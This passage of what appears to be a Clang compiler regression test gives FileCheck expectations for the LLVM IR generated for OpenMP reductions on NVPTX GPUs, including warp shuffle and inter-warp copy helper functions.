[[A_ADDR]], align 4 // CHECK5-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK5-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK5-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK5-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK5-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK5-NEXT: [[TMP2:%.*]] = load i32, i32* [[A1]], align 4 // CHECK5-NEXT: [[OR:%.*]] = or i32 [[TMP2]], 1 // CHECK5-NEXT: store i32 [[OR]], i32* [[A1]], align 4 // CHECK5-NEXT: [[TMP3:%.*]] = load i16, i16* [[B2]], align 2 // CHECK5-NEXT: [[CONV:%.*]] = sext i16 [[TMP3]] to i32 // CHECK5-NEXT: [[CMP:%.*]] = icmp sgt i32 99, [[CONV]] // CHECK5-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK5: cond.true: // CHECK5-NEXT: br label [[COND_END:%.*]] // CHECK5: cond.false: // CHECK5-NEXT: [[TMP4:%.*]] = load i16, i16* [[B2]], align 2 // CHECK5-NEXT: [[CONV3:%.*]] = sext i16 [[TMP4]] to i32 // CHECK5-NEXT: br label [[COND_END]] // CHECK5: cond.end: // CHECK5-NEXT: [[COND:%.*]] = phi i32 [ 99, [[COND_TRUE]] ], [ [[CONV3]], [[COND_FALSE]] ] // CHECK5-NEXT: [[CONV4:%.*]] = trunc i32 [[COND]] to i16 // CHECK5-NEXT: store i16 [[CONV4]], i16* [[B2]], align 2 // CHECK5-NEXT: [[TMP5:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK5-NEXT: [[TMP6:%.*]] = load i32, i32* [[TMP5]], align 4 // CHECK5-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP8:%.*]] = bitcast i32* [[A1]] to i8* // CHECK5-NEXT: store i8* [[TMP8]], i8** [[TMP7]], align 4 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[TMP10:%.*]] = bitcast i16* [[B2]] to i8* // CHECK5-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK5-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK5-NEXT: [[TMP12:%.*]] = call i32 @__kmpc_nvptx_parallel_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP6]], i32 2, i32 8, i8* [[TMP11]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func12, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func13) // CHECK5-NEXT: [[TMP13:%.*]] = icmp eq i32 [[TMP12]], 1 // CHECK5-NEXT: br i1 [[TMP13]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK5: .omp.reduction.then: // CHECK5-NEXT: [[TMP14:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK5-NEXT: [[TMP15:%.*]] = load i32, i32* [[A1]], align 4 // CHECK5-NEXT: [[OR5:%.*]] = or i32 [[TMP14]], [[TMP15]] // CHECK5-NEXT: store i32 [[OR5]], i32* [[TMP0]], align 4 // CHECK5-NEXT: [[TMP16:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK5-NEXT: [[CONV6:%.*]] = sext i16 [[TMP16]] to i32 // CHECK5-NEXT: [[TMP17:%.*]] = load i16, i16* [[B2]], align 2 // CHECK5-NEXT: [[CONV7:%.*]] = sext i16 [[TMP17]] to i32 // CHECK5-NEXT: [[CMP8:%.*]] = icmp sgt i32 [[CONV6]], [[CONV7]] // CHECK5-NEXT: br i1 [[CMP8]], label [[COND_TRUE9:%.*]], label [[COND_FALSE10:%.*]] // CHECK5: cond.true9: // CHECK5-NEXT: [[TMP18:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK5-NEXT: br label [[COND_END11:%.*]] // CHECK5: cond.false10: // CHECK5-NEXT: [[TMP19:%.*]] = load i16, i16* [[B2]], align 2 // CHECK5-NEXT: br label [[COND_END11]] // CHECK5: cond.end11: // CHECK5-NEXT: [[COND12:%.*]] = phi i16 [ [[TMP18]], [[COND_TRUE9]] ], [ [[TMP19]], [[COND_FALSE10]] ] // CHECK5-NEXT: store i16 [[COND12]], i16* [[TMP1]], align 2 // CHECK5-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP6]]) // CHECK5-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK5: .omp.reduction.done: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func12 // CHECK5-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK5-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK5-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK5-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK5-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK5-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK5-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK5-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK5-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK5-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK5-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK5-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[TMP16:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK5-NEXT: [[TMP17:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP16]]) // CHECK5-NEXT: store i32 [[TMP17]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK5-NEXT: [[TMP18:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK5-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK5-NEXT: [[TMP20:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK5-NEXT: store i8* [[TMP20]], i8** [[TMP11]], align 4 // CHECK5-NEXT: [[TMP21:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK5-NEXT: [[TMP22:%.*]] = load i8*, i8** [[TMP21]], align 4 // CHECK5-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[TMP24:%.*]] = bitcast i8* [[TMP22]] to i16* // CHECK5-NEXT: [[TMP25:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK5-NEXT: [[TMP26:%.*]] = bitcast i16* [[TMP25]] to i8* // CHECK5-NEXT: [[TMP27:%.*]] = load i16, i16* [[TMP24]], align 2 // CHECK5-NEXT: [[TMP28:%.*]] = sext i16 [[TMP27]] to i32 // CHECK5-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[TMP29:%.*]] = trunc i32 [[NVPTX_WARP_SIZE5]] to i16 // CHECK5-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP28]], i16 [[TMP7]], i16 [[TMP29]]) // CHECK5-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK5-NEXT: store i16 [[TMP31]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK5-NEXT: [[TMP32:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK5-NEXT: [[TMP33:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK5-NEXT: [[TMP34:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK5-NEXT: store i8* [[TMP34]], i8** [[TMP23]], align 4 // CHECK5-NEXT: [[TMP35:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK5-NEXT: [[TMP36:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK5-NEXT: [[TMP37:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK5-NEXT: [[TMP38:%.*]] = and i1 [[TMP36]], [[TMP37]] // CHECK5-NEXT: [[TMP39:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK5-NEXT: [[TMP40:%.*]] = and i16 [[TMP6]], 1 // CHECK5-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP40]], 0 // CHECK5-NEXT: [[TMP42:%.*]] = and i1 [[TMP39]], [[TMP41]] // CHECK5-NEXT: [[TMP43:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK5-NEXT: [[TMP44:%.*]] = and i1 [[TMP42]], [[TMP43]] // CHECK5-NEXT: [[TMP45:%.*]] = or i1 [[TMP35]], [[TMP38]] // CHECK5-NEXT: [[TMP46:%.*]] = or i1 [[TMP45]], [[TMP44]] // CHECK5-NEXT: br i1 [[TMP46]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK5: then: // CHECK5-NEXT: [[TMP47:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK5-NEXT: [[TMP48:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK5-NEXT: call void @"_omp$reduction$reduction_func11"(i8* [[TMP47]], i8* [[TMP48]]) #[[ATTR3]] // CHECK5-NEXT: br label [[IFCONT:%.*]] // CHECK5: else: // CHECK5-NEXT: br label [[IFCONT]] // CHECK5: ifcont: // CHECK5-NEXT: [[TMP49:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK5-NEXT: [[TMP50:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK5-NEXT: [[TMP51:%.*]] = and i1 [[TMP49]], [[TMP50]] // CHECK5-NEXT: br i1 [[TMP51]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK5: then6: // CHECK5-NEXT: [[TMP52:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP53:%.*]] = load i8*, i8** [[TMP52]], align 4 // CHECK5-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK5-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK5-NEXT: [[TMP56:%.*]] = bitcast i8* [[TMP53]] to i32* // CHECK5-NEXT: [[TMP57:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK5-NEXT: [[TMP58:%.*]] = load i32, i32* [[TMP56]], align 4 // CHECK5-NEXT: store i32 [[TMP58]], i32* [[TMP57]], align 4 // CHECK5-NEXT: [[TMP59:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[TMP60:%.*]] = load i8*, i8** [[TMP59]], align 4 // CHECK5-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK5-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK5-NEXT: [[TMP63:%.*]] = bitcast i8* [[TMP60]] to i16* // CHECK5-NEXT: [[TMP64:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK5-NEXT: [[TMP65:%.*]] = load i16, i16* [[TMP63]], align 2 // CHECK5-NEXT: store i16 [[TMP65]], i16* [[TMP64]], align 2 // CHECK5-NEXT: br label [[IFCONT8:%.*]] // CHECK5: else7: // CHECK5-NEXT: br label [[IFCONT8]] // CHECK5: ifcont8: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func13 // CHECK5-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[NVPTX_TID:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_TID2:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[NVPTX_TID2]], 31 // CHECK5-NEXT: [[NVPTX_TID3:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.tid.x() // CHECK5-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[NVPTX_TID3]], 5 // CHECK5-NEXT: [[TMP3:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP4:%.*]] = bitcast i8* [[TMP3]] to [2 x i8*]* // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4:[0-9]+]], i32 [[TMP2]]) // CHECK5-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK5-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK5: then: // CHECK5-NEXT: [[TMP5:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP6:%.*]] = load i8*, i8** [[TMP5]], align 4 // CHECK5-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to i32* // CHECK5-NEXT: [[TMP8:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK5-NEXT: [[TMP9:%.*]] = load i32, i32* [[TMP7]], align 4 // CHECK5-NEXT: store volatile i32 [[TMP9]], i32 addrspace(3)* [[TMP8]], align 4 // CHECK5-NEXT: br label [[IFCONT:%.*]] // CHECK5: else: // CHECK5-NEXT: br label [[IFCONT]] // CHECK5: ifcont: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK5-NEXT: [[TMP10:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP10]] // CHECK5-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN4:%.*]], label [[ELSE5:%.*]] // CHECK5: then4: // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK5-NEXT: [[TMP12:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 0 // CHECK5-NEXT: [[TMP13:%.*]] = load i8*, i8** [[TMP12]], align 4 // CHECK5-NEXT: [[TMP14:%.*]] = bitcast i8* [[TMP13]] to i32* // CHECK5-NEXT: [[TMP15:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP11]], align 4 // CHECK5-NEXT: store i32 [[TMP15]], i32* [[TMP14]], align 4 // CHECK5-NEXT: br label [[IFCONT6:%.*]] // CHECK5: else5: // CHECK5-NEXT: br label [[IFCONT6]] // CHECK5: ifcont6: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK5-NEXT: [[WARP_MASTER7:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK5-NEXT: br i1 [[WARP_MASTER7]], label [[THEN8:%.*]], label [[ELSE9:%.*]] // CHECK5: then8: // CHECK5-NEXT: [[TMP16:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP17:%.*]] = load i8*, i8** [[TMP16]], align 4 // CHECK5-NEXT: [[TMP18:%.*]] = bitcast i8* [[TMP17]] to i16* // CHECK5-NEXT: [[TMP19:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK5-NEXT: [[TMP20:%.*]] = bitcast i32 addrspace(3)* [[TMP19]] to i16 addrspace(3)* // CHECK5-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP18]], align 2 // CHECK5-NEXT: store volatile i16 [[TMP21]], i16 addrspace(3)* [[TMP20]], align 2 // CHECK5-NEXT: br label [[IFCONT10:%.*]] // CHECK5: else9: // CHECK5-NEXT: br label [[IFCONT10]] // CHECK5: ifcont10: // CHECK5-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK5-NEXT: [[TMP22:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK5-NEXT: [[IS_ACTIVE_THREAD11:%.*]] = icmp ult i32 [[NVPTX_TID]], [[TMP22]] // CHECK5-NEXT: br i1 [[IS_ACTIVE_THREAD11]], label [[THEN12:%.*]], label [[ELSE13:%.*]] // CHECK5: then12: // CHECK5-NEXT: [[TMP23:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_TID]] // CHECK5-NEXT: [[TMP24:%.*]] = bitcast i32 addrspace(3)* [[TMP23]] to i16 addrspace(3)* // CHECK5-NEXT: [[TMP25:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP4]], i32 0, i32 1 // CHECK5-NEXT: [[TMP26:%.*]] = load i8*, i8** [[TMP25]], align 4 // CHECK5-NEXT: [[TMP27:%.*]] = bitcast i8* [[TMP26]] to i16* // CHECK5-NEXT: [[TMP28:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP24]], align 2 // CHECK5-NEXT: store i16 [[TMP28]], i16* [[TMP27]], align 2 // CHECK5-NEXT: br label [[IFCONT14:%.*]] // CHECK5: else13: // CHECK5-NEXT: br label [[IFCONT14]] // CHECK5: ifcont14: // CHECK5-NEXT: ret void // CHECK5-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func15 // CHECK5-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR0]] { // CHECK5-NEXT: entry: // CHECK5-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK5-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK5-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK5-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK5-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK5-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK5-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK5-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK5-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK5-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK5-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK5-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK5-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK5-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK5-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK5-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK5-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK5-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK5-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK5-NEXT: [[NVPTX_WARP_SIZE:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[TMP16:%.*]] = trunc i32 [[NVPTX_WARP_SIZE]] to i16 // CHECK5-NEXT: [[TMP17:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP16]]) // CHECK5-NEXT: store i32 [[TMP17]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK5-NEXT: [[TMP18:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK5-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK5-NEXT: [[TMP20:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK5-NEXT: store i8* [[TMP20]], i8** [[TMP11]], align 4 // CHECK5-NEXT: [[TMP21:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK5-NEXT: [[TMP22:%.*]] = load i8*, i8** [[TMP21]], align 4 // CHECK5-NEXT: [[TMP23:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[TMP24:%.*]] = bitcast i8* [[TMP22]] to i16* // CHECK5-NEXT: [[TMP25:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK5-NEXT: [[TMP26:%.*]] = bitcast i16* [[TMP25]] to i8* // CHECK5-NEXT: [[TMP27:%.*]] = load i16, i16* [[TMP24]], align 2 // CHECK5-NEXT: [[TMP28:%.*]] = sext i16 [[TMP27]] to i32 // CHECK5-NEXT: [[NVPTX_WARP_SIZE5:%.*]] = call i32 @llvm.nvvm.read.ptx.sreg.warpsize() // CHECK5-NEXT: [[TMP29:%.*]] = trunc i32 [[NVPTX_WARP_SIZE5]] to i16 // CHECK5-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP28]], i16 [[TMP7]], i16 [[TMP29]]) // CHECK5-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK5-NEXT: store i16 [[TMP31]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK5-NEXT: [[TMP32:%.*]] = getelementptr i16, i16* [[TMP24]], i32 1 // CHECK5-NEXT: [[TMP33:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK5-NEXT: [[TMP34:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK5-NEXT: store i8* [[TMP34]], i8** [[TMP23]], align 4 // CHECK5-NEXT: [[TMP35:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK5-NEXT: [[TMP36:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK5-NEXT: [[TMP37:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK5-NEXT: [[TMP38:%.*]] = and i1 [[TMP36]], [[TMP37]] // CHECK5-NEXT: [[TMP39:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK5-NEXT: [[TMP40:%.*]] = and i16 [[TMP6]], 1 // CHECK5-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP40]], 0 // CHECK5-NEXT: [[TMP42:%.*]] = and i1 [[TMP39]], [[TMP41]] // CHECK5-NEXT: [[TMP43:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK5-NEXT: [[TMP44:%.*]] = and i1 [[TMP42]], [[TMP43]] // CHECK5-NEXT: [[TMP45:%.*]] = or i1 [[TMP35]], [[TMP38]] // CHECK5-NEXT: [[TMP46:%.*]] = or i1 [[TMP45]], [[TMP44]] // CHECK5-NEXT: br i1 [[TMP46]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK5: then: // CHECK5-NEXT: [[TMP47:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK5-NEXT: [[TMP48:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK5-NEXT: call void @"_omp$reduction$reduction_func14"(i8* [[TMP47]], i8* [[TMP48]]) #[[ATTR3]] // CHECK5-NEXT: br label [[IFCONT:%.*]] // CHECK5: else: // CHECK5-NEXT: br label [[IFCONT]] // CHECK5: ifcont: // CHECK5-NEXT: [[TMP49:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK5-NEXT: [[TMP50:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK5-NEXT: [[TMP51:%.*]] = and i1 [[TMP49]], [[TMP50]] // CHECK5-NEXT: br i1 [[TMP51]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK5: then6: // CHECK5-NEXT: [[TMP52:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK5-NEXT: [[TMP53:%.*]] = load i8*, i8** [[TMP52]], align 4 // CHECK5-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK5-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK5-NEXT: [[TMP56:%.*]] = bitcast i8* [[TMP53]] to i32* // CHECK5-NEXT: [[TMP57:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK5-NEXT: [[TMP58:%.*]] = load i32, i32* [[TMP56]], align 4 // CHECK5-NEXT: store i32 [[TMP58]], i32* [[TMP57]], align 4 // CHECK5-NEXT: [[TMP59:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK5-NEXT: [[TMP60:%.*]] = load i8*, i8** [[TMP59]], align 4 // CHECK5-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK5-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK5-NEXT: [[TMP63:%.*]] = bitcast i8* [[TMP60]] to i16* // CHECK5-NEXT: 